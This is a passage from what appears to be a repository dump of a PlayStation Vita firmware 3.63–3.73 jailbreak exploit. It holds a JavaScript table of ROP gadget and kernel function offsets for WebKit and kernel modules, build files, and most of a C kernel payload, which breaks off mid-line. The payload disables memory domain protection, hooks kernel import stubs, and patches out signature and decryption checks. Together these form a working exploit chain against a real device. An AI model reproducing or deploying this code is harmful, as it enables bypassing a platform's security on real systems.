    "content": "/* offsets.js -- offsets for exploitation\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modified and distributed under the terms\n * of the MIT license.  See the LICENSE file for details.\n */\n\nSceWebKit_gadgets_v361_v365 = {\n  ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x5490e4,\n  ldm_r1_r0_ip_lr_pc: 0x2b120,\n  ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62b6e0,\n  ldm_r4_r3_r8_ip_pc: 0xb2bd4,\n  ldm_r8_r1_r6_ip_lr_pc: 0x5579c0,\n  str_r0_r3_bx_lr: 0x2431d1,\n}\n\nSceWebKit_gadgets_v368_v373 = {\n  ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x549a80,\n  ldm_r1_r0_ip_lr_pc: 0x2b19c,\n  ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62f808,\n  ldm_r4_r3_r8_ip_pc: 0xb2d3c,\n  ldm_r8_r1_r6_ip_lr_pc: 0x5587b0,\n  str_r0_r3_bx_lr: 0x24367d,\n}\n\nSceWebKit_offsets_v361_v365 = {\n  SceWebKit_base_off: 0xabb63c,\n  SceNet_stub_off: 0x85f3f4,\n  SceLibc_stub_off: 0x85f4e4,\n  elementvtable_off: -0x70,\n  setscrollleft_off: 0x4e,\n}\n\nSceWebKit_offsets_v368_v373 = {\n  SceWebKit_base_off: 0xac3544,\n  SceNet_stub_off: 0x866ab8,\n  SceLibc_stub_off: 0x866ba8,\n  elementvtable_off: -0x70,\n  setscrollleft_off: 0x4e,\n}\n\nSceLibc_functions_v360_v373 = {\n  malloc: 0xfa19,\n  free: 0xfa29,\n}\n\nSceLibc_gadgets_v360_v373 = {\n  setjmp: 0x14071,\n  longjmp: 0x14099,\n}\n\nSceLibc_offsets_v360_v373 = {\n  SceLibc_base_off: 0xfa49,\n}\n\nSceNet_functions_v360_v373 = {\n  sceNetHtons: 0x23d5,\n  sceNetSyscallClose: 0x9f60,\n  sceNetSyscallBind: 0x9f80,\n  sceNetSyscallIoctl: 0x9f90,\n  sceNetSyscallSocket: 0xa030,\n  sceNetSyscallGetIfList: 0xa050,\n  sceNetSyscallSendmsg: 0xa0b0,\n  sceNetSyscallControl: 0xa110,\n}\n\nSceNet_offsets_v360_v373 = {\n  SceNet_base_off: 0x23ed,\n}\n\nSceNetPs_gadgets_v363_v370 = {\n  blx_r0_pop_r3_pc: 0x2a11b,\n  blx_r3_pop_r3_pc: 0x1959,\n  blx_r4_add_sp_c_pop_r4_r5_pc: 0xe361,\n\n  pop_pc: 0x1619f,\n  pop_r0_r1_r2_r3_r4_r6_pc: 0x230cd,\n  ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb734,\n  ldr_r0_r4_pop_r4_pc: 0x2a79d,\n\n  str_r0_r4_pop_r4_pc: 0x1693f,\n\n  push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b067,\n  add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c1b,\n  orrs_r0_r3_pop_r3_pc: 0x3c2f,\n  movs_r0_0_pop_r3_pc: 0xce5,\n\n  ksceKernelFreeMemBlock: 0x2a7a8,\n  ksceKernelGetMemBlockBase: 0x2a7e8,\n  ksceKernelMemcpyUserToKernel: 0x2a7f8,\n  ksceKernelAllocMemBlock: 0x2a818,\n\n  empty_string: 0x22,\n}\n\nSceNetPs_gadgets_v371_v373 = {\n  blx_r0_pop_r3_pc: 0x2a14b,\n  blx_r3_pop_r3_pc: 0x1959,\n  blx_r4_add_sp_c_pop_r4_r5_pc: 0xe391,\n\n  pop_pc: 0x161cf,\n  pop_r0_r1_r2_r3_r4_r6_pc: 0x230fd,\n  ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb764,\n  ldr_r0_r4_pop_r4_pc: 0x2a7cd,\n\n  str_r0_r4_pop_r4_pc: 0x1696f,\n\n  push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b097,\n  add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c4b,\n  orrs_r0_r3_pop_r3_pc: 0x3c2f,\n  movs_r0_0_pop_r3_pc: 0xce5,\n\n  ksceKernelFreeMemBlock: 0x2a7d8,\n  ksceKernelGetMemBlockBase: 0x2a818,\n  ksceKernelMemcpyUserToKernel: 0x2a828,\n  ksceKernelAllocMemBlock: 0x2a848,\n\n  empty_string: 0x22,\n}\n\nSceNetPs_offsets_v363_v370 = {\n  SceNetPs_base_off: -0x8d45,\n}\n\nSceNetPs_offsets_v371_v373 = {\n  SceNetPs_base_off: -0x8d75,\n}\n\nSceSysmem_offsets_v363_v373 = {\n  SceSysmem_base_off: -0x810b,\n  ksceKernelRemapBlock: 0x7f69,\n  ksceKernelCpuDcacheWritebackRange: 0x22fcd,\n}\n\nversion_deps = {\n  // TODO: 3.60\n  // TODO: 3.61\n  \"3.63\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v361_v365,\n      offsets: SceWebKit_offsets_v361_v365,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v363_v370,\n      offsets: SceNetPs_offsets_v363_v370,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  \"3.65\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v361_v365,\n      offsets: SceWebKit_offsets_v361_v365,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v363_v370,\n      offsets: SceNetPs_offsets_v363_v370,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  // TODO: 3.67\n  \"3.68\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v368_v373,\n      offsets: SceWebKit_offsets_v368_v373,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v363_v370,\n      offsets: SceNetPs_gadgets_v363_v370,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  \"3.69\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v368_v373,\n      offsets: SceWebKit_offsets_v368_v373,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v363_v370,\n      offsets: SceNetPs_gadgets_v363_v370,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  \"3.70\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v368_v373,\n      offsets: SceWebKit_offsets_v368_v373,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v363_v370,\n      offsets: SceNetPs_gadgets_v363_v370,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  \"3.71\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v368_v373,\n      offsets: SceWebKit_offsets_v368_v373,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v371_v373,\n      offsets: SceNetPs_offsets_v371_v373,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  \"3.72\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v368_v373,\n      offsets: SceWebKit_offsets_v368_v373,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v371_v373,\n      offsets: SceNetPs_offsets_v371_v373,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n  \"3.73\": {\n    \"SceWebKit\": {\n      gadgets: SceWebKit_gadgets_v368_v373,\n      offsets: SceWebKit_offsets_v368_v373,\n    },\n    \"SceLibc\": {\n      functions: SceLibc_functions_v360_v373,\n      gadgets: SceLibc_gadgets_v360_v373,\n      offsets: SceLibc_offsets_v360_v373,\n    },\n    \"SceNet\": {\n      functions: SceNet_functions_v360_v373,\n      offsets: SceNet_offsets_v360_v373,\n    },\n    \"SceNetPs\": {\n      gadgets: SceNetPs_gadgets_v371_v373,\n      offsets: SceNetPs_offsets_v371_v373,\n    },\n    \"SceSysmem\": {\n      offsets: SceSysmem_offsets_v363_v373,\n    },\n  },\n};\n"
  },
  {
    "path": "payload/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2016 molecule\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "payload/Makefile",
    "content": "TARGET  = payload\nOBJS    = payload.o\n\nPREFIX  = arm-vita-eabi\nCC      = $(PREFIX)-gcc\nAS      = $(PREFIX)-as\nOBJCOPY = $(PREFIX)-objcopy\nCFLAGS  = -fPIE -fno-zero-initialized-in-bss -std=c99 -mcpu=cortex-a9 -Os -mthumb\nLDFLAGS = -T linker.x -nostartfiles -nostdlib -pie\n\nall: $(TARGET).bin\n\n%.bin: %.elf\n\t$(OBJCOPY) -S -O binary $^ $@\n\n$(TARGET).elf: $(OBJS)\n\t$(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS)\n\nclean:\n\t@rm -f $(TARGET).bin $(TARGET).elf $(OBJS)\n"
  },
  {
    "path": "payload/linker.x",
    "content": "OUTPUT_FORMAT(\"elf32-littlearm\", \"elf32-bigarm\", \"elf32-littlearm\")\nOUTPUT_ARCH(arm)\n\nENTRY(_start)\n\nSECTIONS\n{\n  .text     : { *(.text.start) *(.text   .text.*   .gnu.linkonce.t.*) *(.sceStub.text.*) }\n  .rodata   : { *(.rodata .rodata.* .gnu.linkonce.r.*) }\n  .data     : { *(.data   .data.*   .gnu.linkonce.d.*) }\n  .bss      : { *(.bss    .bss.*    .gnu.linkonce.b.*) *(COMMON) }\n  /DISCARD/ : { *(.interp) *(.dynsym) *(.dynstr) *(.hash) *(.dynamic) *(.comment) }\n}\n"
  },
  {
    "path": "payload/payload.c",
    "content": "#include <inttypes.h>\n\n// #include \"bootstrap.h\"\n\n// ALL 3.63-3.73 SPECIFIC SECTIONS ARE MARKED WITH \"// BEGIN 3.63-3.73\"\n\n#if DEBUG\n#define LOG(fmt, ...) debug_print(\"[%s:%d] \" fmt \"\\n\", __FUNCTION__, __LINE__, ##__VA_ARGS__)\n#else\n#define LOG(fmt, ...)\n#endif\n\n#define NULL ((void *)0)\n\n#define DACR_OFF(stmt)                 \\\ndo {                                   \\\n\tunsigned prev_dacr;                \\\n\t__asm__ volatile(                  \\\n\t\t\"mrc p15, 0, %0, c3, c0, 0 \\n\" \\\n\t\t: \"=r\" (prev_dacr)             \\\n\t);                                 \\\n\t__asm__ volatile(                  \\\n\t\t\"mcr p15, 0, %0, c3, c0, 0 \\n\" \\\n\t\t: : \"r\" (0xFFFF0000)           \\\n\t);                                 \\\n\tstmt;                              \\\n\t__asm__ volatile(                  \\\n\t\t\"mcr p15, 0, %0, c3, c0, 0 \\n\" \\\n\t\t: : \"r\" (prev_dacr)            \\\n\t);                                 \\\n} while (0)\n\n#define INSTALL_HOOK(func, addr) \\\ndo {                                               \\\n\tunsigned *target;                              \\\n\ttarget = (unsigned*)(addr);                    \\\n\t*target++ = 0xE59FF000; /* ldr pc, [pc, #0] */ \\\n\t*target++; /* doesn't matter */                \\\n\t*target = (unsigned)func;                      \\\n} while (0)\n\n#define INSTALL_HOOK_THUMB(func, addr) \\\ndo {                                                \\\n\tunsigned *target;                                 \\\n\ttarget = (unsigned*)(addr);                       \\\n\t*target++ = 0xC004F8DF; /* ldr.w\tip, [pc, #4] */ \\\n\t*target++ = 0xBF004760; /* bx ip; nop */          \\\n\t*target = (unsigned)func;                         \\\n} while (0)\n\n#define INSTALL_RET(addr, ret) \\\ndo {                                            \\\n\tunsigned *target;                             \\\n\ttarget = (unsigned*)(addr);                   \\\n\t*target++ = 0xe3a00000 | ret; /* mov r0, #ret */ \\\n\t*target = 0xe12fff1e; /* bx lr */             \\\n} while (0)\n\n#define INSTALL_RET_THUMB(addr, ret) \\\ndo {                                            \\\n\tunsigned *target;                             \\\n\ttarget = (unsigned*)(addr);                   \\\n\t*target = 0x47702000 | ret; /* movs r0, #ret; bx lr */ \\\n} while (0)\n\n#define ENTER_SYSCALL(state) do { \\\n  __asm__ volatile (\"mrc p15, 0, %0, c13, c0, 3\" : \"=r\" (state)); \\\n  __asm__ volatile (\"mcr p15, 0, %0, c13, c0, 3\" :: \"r\" (state << 16) : \"memory\"); \\\n} while(0)\n\n#define EXIT_SYSCALL(state) do { \\\n  __asm__ volatile (\"mcr p15, 0, %0, c13, c0, 3\" :: \"r\" (state) : \"memory\"); \\\n} while (0)\n\ntypedef uint64_t u64_t;\ntypedef uint32_t u32_t;\ntypedef uint16_t u16_t;\ntypedef uint8_t u8_t;\n\ntypedef struct segment_info\n{\n\tint           size;   // this structure size (0x18)\n\tint           perms;  // probably rwx in low bits\n\tvoid            *vaddr; // address in memory\n\tint           memsz;  // size in memory\n\tint           flags;  // meanig unknown\n\tint           res;    // unused?\n} segment_info_t;\n\ntypedef struct SceModInfo {\n\tint size;           //0\n\tint UID;            //4\n\tint mod_attr;       //8\n\tchar name[0x1C];        //0xC\n\tu32_t unk0;         //0x28\n\tvoid *module_start;     //0x2C addr0\n\tvoid *module_init;      //0x30 addr1\n\tvoid *module_stop;      //0x34 addr2\n\tvoid *exidx_start;      //0x38 addr3\n\tvoid *exidx_end;        //0x3C addr4\n\tvoid *addr5;        //0x40 addr5\n\tvoid *addr6;        //0x44 addr6\n\tvoid *module_top;       //0x48 addr7\n\tvoid *addr8;        //0x4C addr8\n\tvoid *addr9;        //0x50 addr9\n\tchar filepath[0x100];   //0x54\n\tsegment_info_t  segments[4]; //0x58\n\tu32_t unk2;         //0x1B4\n} SceModInfo; //0x1B8\n\n#define MOD_LIST_SIZE 0x80\n\ntypedef struct module_imports_2\n{\n  u16_t size; // 0x24\n  u16_t version;\n  u16_t flags;\n  u16_t num_functions;\n  u32_t reserved1;\n  u32_t lib_nid;\n  char     *lib_name;\n  u32_t *func_nid_table;\n  void     **func_entry_table;\n  u32_t unk1;\n  u32_t unk2;\n} module_imports_2_t;\n\ntypedef struct module_exports // thanks roxfan\n{\n\tu16_t   size;           // size of this structure; 0x20 for Vita 1.x\n\tu8_t    lib_version[2]; //\n\tu16_t   attribute;      // ?\n\tu16_t   num_functions;  // number of exported functions\n\tu32_t   num_vars;       // number of exported variables\n\tu32_t   num_tls_vars;   // number of exported TLS variables?  <-- pretty sure wrong // yifanlu\n\tu32_t   module_nid;     // NID of this specific export list; one PRX can export several names\n\tchar    *lib_name;      // name of the export module\n\tu32_t   *nid_table;     // array of 32-bit NIDs for the exports, first functions then vars\n\tvoid    **entry_table;  // array of pointers to exported functions and then variables\n} module_exports_t;\n\ntypedef struct module_info // thanks roxfan\n{\n\tu16_t   modattribute;  // ??\n\tu16_t   modversion;    // always 1,1?\n\tchar    modname[27];   ///< Name of the module\n\tu8_t    type;          // 6 = user-mode prx?\n\tvoid    *gp_value;     // always 0 on ARM\n\tint   ent_top;       // beginning of the export list (sceModuleExports array)\n\tint   ent_end;       // end of same\n\tint   stub_top;      // beginning of the import list (sceModuleStubInfo array)\n\tint   stub_end;      // end of same\n\tu32_t   module_nid;    // ID of the PRX? seems to be unused\n\tint   field_38;      // unused in samples\n\tint   field_3C;      // I suspect these may contain TLS info\n\tint   field_40;      //\n\tint   mod_start;     // 44 module start function; can be 0 or -1; also present in exports\n\tint   mod_stop;      // 48 module stop function\n\tint   exidx_start;   // 4c ARM EABI style exception tables\n\tint   exidx_end;     // 50\n\tint   extab_start;   // 54\n\tint   extab_end;     // 58\n} module_info_t; // 5c?\n\nint strcmp(const char *s1, const char *s2) {\n\twhile (*s1 == *s2++)\n\t\tif (*s1++ == 0)\n\t\t\treturn (0);\n\treturn (*(unsigned char *)s1 - *(unsigned char *)--s2);\n}\n\nstatic inline int memcpy(void *dst, const void *src, int len) {\n\tchar *dst1 = (char *)dst;\n\tconst char *src1 = (const char *)src;\n\twhile (len > 0) {\n\t\t*dst1++ = *src1++;\n\t\tlen--;\n\t}\n\treturn 0;\n}\n\nmodule_info_t * find_modinfo(uint32_t start_addr, const char *needle) {\n\tstart_addr &= ~0xF;\n\tstart_addr += 4;\n\n\twhile (1) {\n\t\tif (strcmp((const char *)start_addr, needle) == 0)\n\t\t\t return (module_info_t *)(start_addr - 0x4);\n\n\t\tstart_addr += 0x10;\n\t}\n\n\treturn NULL;\n}\n\nvoid *find_export(module_info_t *mod, uint32_t nid) {\n\tif (!mod->ent_top)\n\t\treturn NULL;\n\n\tfor (unsigned ent = mod->ent_top; ent < mod->ent_end;) {\n\t\tmodule_exports_t *exports = (module_exports_t *)((unsigned int)mod + 0x5C + ent - mod->ent_top);\n\n\t\tfor (int j = 0; j < exports->num_functions; ++j)\n\t\t\tif (exports->nid_table[j] == nid)\n\t\t\t\treturn (void*)((u32_t *)exports->entry_table)[j];\n\n\t\tent += exports->size;\n\t}\n\n\treturn NULL;\n}\n\nvoid *find_import(module_info_t *mod, uint32_t lnid, uint32_t fnid) {\n\tif (!mod->stub_top)\n\t\treturn NULL;\n\n\tfor (unsigned stub = mod->stub_top; stub < mod->stub_end;) {\n\t\t// Older fw versions use a different import format\n\t\tmodule_imports_2_t *imports = (module_imports_2_t *)((unsigned int)mod + 0x5C + stub - mod->stub_top);\n\n\t\tif (imports->size == sizeof(module_imports_2_t) && imports->lib_nid == lnid) {\n\t\t\tfor (int j = 0; j < imports->num_functions; ++j)\n\t\t\t\tif (imports->func_nid_table[j] == fnid)\n\t\t\t\t\treturn (void*)((u32_t *)imports->func_entry_table)[j];\n\t\t}\n\n\t\tstub += imports->size;\n\t}\n\n\treturn NULL;\n}\n\nstatic void (*debug_print)(char *fmt, ...) = 0;\n\nstatic int (*hook_resume_sbl_F3411881)() = 0;\nstatic int (*hook_resume_sbl_89CCDA2C)() = 0;\nstatic int (*hook_resume_sbl_BC422443)() = 0;\n\nstatic int (*ksceKernelGetModuleList)() = 0;\nstatic int (*ksceKernelGetModuleInfo)() = 0;\nstatic void (*ksceKernelCpuIcacheAndL2WritebackInvalidateRange)(uint32_t addr, uint32_t size) = 0;\nstatic int (*ksceKernelCpuDcacheWritebackRange)(uint32_t addr, uint32_t len) = 0;\nstatic int (*ksceIoOpen)(const char *, int, int) = 0;\nstatic int (*ksceIoWrite)(int, char *, int) = 0;\nstatic int (*ksceIoClose)(int) = 0;\nstatic int (*ksceAppMgrLaunchAppByPath)(const char *name, const char *cmd, int cmdlen, int, void *, void *) = 0;\nstatic int (*ksceKernelLoadModule)(const char *path, int flags, int *opt) = 0;\nstatic int (*ksceKernelStartModule)(int modid, int argc, void *args, int flags, void *opt, int *res) = 0;\nstatic void (*ksceKernelSetSyscall)(u32_t num, void *function) = 0;\nstatic int (*ksceKernelFreeMemBlock)(int blkid) = 0;\nstatic int (*ksceKernelFindMemBlockByAddr)(void *base, int) = 0;\nstatic int (*ksceKernelCreateThread)() = 0;\nstatic int (*ksceKernelStartThread)() = 0;\nstatic int (*ksceKernelExitDeleteThread)() = 0;\nstatic int (*ksceKernelGetMemBlockBase)(int uid, void **base) = 0;\nstatic int (*ksceKernelGetProcessInfo)(int pid, int *data) = 0;\n\n// context for the hooks\nstatic unsigned g_homebrew_decrypt = 0;\nstatic module_info_t *modulemgr_info = 0;\nstatic module_info_t *scenpdrm_info = 0;\nstatic module_info_t *appmgr_info = 0;\nstatic u32_t appmgr_code = 0;\nstatic u32_t appmgr_size = 0;\nstatic u32_t scenet_code = 0;\nstatic u32_t scenet_data = 0;\n\n// save the block id of our own memory\nstatic int g_rx_block = 0;\nstatic void *syscall_stub = 0;\nstatic void **syscall_table = 0;\nstatic int syscall_id = 0;\n\n// shell\nstatic int shell_pid = 0;\n\nint hook_SceSblAIMgrForDriver_D78B04A2(void)\n{\n\treturn 1;\n}\n\nint hook_SceSblAIMgrForDriver_F4B98F66(void)\n{\n\treturn 1;\n}\n\nint hook_sysroot_421EFC96(void)\n{\n\treturn 0;\n}\n\nint hook_ksceSblAimgrIsCEX(void)\n{\n\treturn 0;\n}\n\nint hook_ksceSblACMgrIsDevelopmentMode(void)\n{\n\treturn 1;\n}\n\n// setup file decryption\nunsigned hook_sbl_F3411881(unsigned a1, unsigned a2, unsigned a3, unsigned a4) {\n\tLOG(\"sbl_F3411881(0x%x, 0x%x, 0x%x, 0x%x)\", a1, a2, a3, a4);\n\n\tunsigned res = hook_resume_sbl_F3411881(a1, a2, a3, a4);\n\tLOG(\"sbl_F3411881: %x\", res);\n\tunsigned *somebuf = (unsigned*)a4;\n\tu64_t authid;\n\n\tif (res == 0x800f0624 || res == 0x800f0616 || res == 0x800f0024 || (res >= 0x800f0b30 && res <= 0x800f0b3f)) {\n\t\tDACR_OFF(\n\t\t\tg_homebrew_decrypt = 1;\n\t\t);\n\t// BEGIN 3.63-3.73\n\t\tsomebuf[42] = 0x40;\n\t// END 3.63-3.73\n\n\t\treturn 0;\n\t} else {\n\t\tDACR_OFF(\n\t\t\tg_homebrew_decrypt = 0;\n\t\t);\n\t}\n\treturn res;\n}\n\n// setup output buffer\nunsigned hook_sbl_89CCDA2C(unsigned a1, unsigned a2) {\n\tLOG(\"sbl_89CCDA2C(0x%x, 0x%x) hb=0x%x\", a1, a2, g_homebrew_decrypt);\n\tif (g_homebrew_decrypt == 1)\n\t\treturn 2; // always compressed!\n\treturn hook_resume_sbl_89CCDA2C(a1, a2);\n}\n\n// decrypt\nunsigned hook_sbl_BC422443(unsigned a1, unsigned a2, unsigned a3) {\n\tLOG(\"sbl_BC422443(0x%x, 0x%x, 0x%x) hb=0x%x\", a1, a2, a3, g_homebrew_decrypt);\n\tif (g_homebrew_decrypt == 1)\n\t\treturn 0;\n\treturn hook_resume_sbl_BC422443(a1, a2, a3);\n}\n\nstatic const char ur0_temp_path[] = \"ur0:temp\";\n\nstatic int has_sigpatches = 0;\nstatic char old_sbl_F3411881[16] = {0};\nstatic char old_sbl_89CCDA2C[16] = {0};\nstatic char old_sbl_BC422443[16] = {0};\nstatic char old_sblai_D78B04A2[16] = {0};\nstatic char old_sblai_F4B98F66[16] = {0};\nstatic char old_sysroot_421EFC96[16] = {0};\nstatic char old_ksceSblAimgrIsCEX[16] = {0};\nstatic char old_ksceSblACMgrIsDevelopmentMode[16] = {0};\nstatic char old_ux0_data_path[9] = {0};\nstatic void *ux0_data_path_addr = 0;\n\nvoid temp_pkgpatches(void) {\n\tvoid *addr;\n\tLOG(\"inserting temporary patches\");\n\taddr = find_import(scenpdrm_info, 0xFD00C69A, 0xD78B04A2);\n\tLOG(\"sblai_D78B04A2 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(old_sblai_D78B04A2, addr, 16);\n\t\tINSTALL_HOOK(hook_SceSblAIMgrForDriver_D78B04A2, addr);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"hooked sblai_D78B04A2\");\n\taddr = find_import(scenpdrm_info, 0xFD00C69A, 0xF4B98F66);\n\tLOG(\"sblai_F4B98F66 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(old_sblai_F4B98F66, addr, 16);\n\t\tINSTALL_HOOK(hook_SceSblAIMgrForDriver_F4B98F66, addr);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"hooked sblai_F4B98F66\");\n\n\t__asm__ volatile (\"isb\" ::: \"memory\");\n}\n\nvoid remove_pkgpatches(void) {\n\tvoid *addr;\n\tLOG(\"removing temporary patches\");\n\taddr = find_import(scenpdrm_info, 0xFD00C69A, 0xD78B04A2);\n\tLOG(\"sblai_D78B04A2 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_sblai_D78B04A2, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked sblai_D78B04A2\");\n\taddr = find_import(scenpdrm_info, 0xFD00C69A, 0xF4B98F66);\n\tLOG(\"sblai_F4B98F66 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_sblai_F4B98F66, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked sblai_F4B98F66\");\n\n\t__asm__ volatile (\"isb\" ::: \"memory\");\n}\n\nvoid temp_sigpatches(void) {\n\tvoid *addr;\n\tLOG(\"inserting temporary patches\");\n\taddr = find_import(modulemgr_info, 0x7ABF5135, 0xF3411881);\n\tLOG(\"sbl_F3411881 stub: %p\\n\", addr);\n\tDACR_OFF(\n\t\tmemcpy(old_sbl_F3411881, addr, 16);\n\t\tINSTALL_HOOK(hook_sbl_F3411881, addr);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"hooked sbl_F3411881\");\n\taddr = find_import(modulemgr_info, 0x7ABF5135, 0x89CCDA2C);\n\tLOG(\"sbl_89CCDA2C stub: %p\", addr);\n\tDACR_OFF(memcpy(old_sbl_89CCDA2C, addr, 16));\n\tDACR_OFF(\n\t\tmemcpy(old_sbl_89CCDA2C, addr, 16);\n\t\tINSTALL_HOOK(hook_sbl_89CCDA2C, addr);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"hooked sbl_89CCDA2C\");\n\taddr = find_import(modulemgr_info, 0x7ABF5135, 0xBC422443);\n\tLOG(\"sbl_BC422443 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(old_sbl_BC422443, addr, 16);\n\t\tINSTALL_HOOK(hook_sbl_BC422443, addr);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"hooked sbl_BC422443\");\n\taddr = find_import(appmgr_info, 0x2ED7F97A, 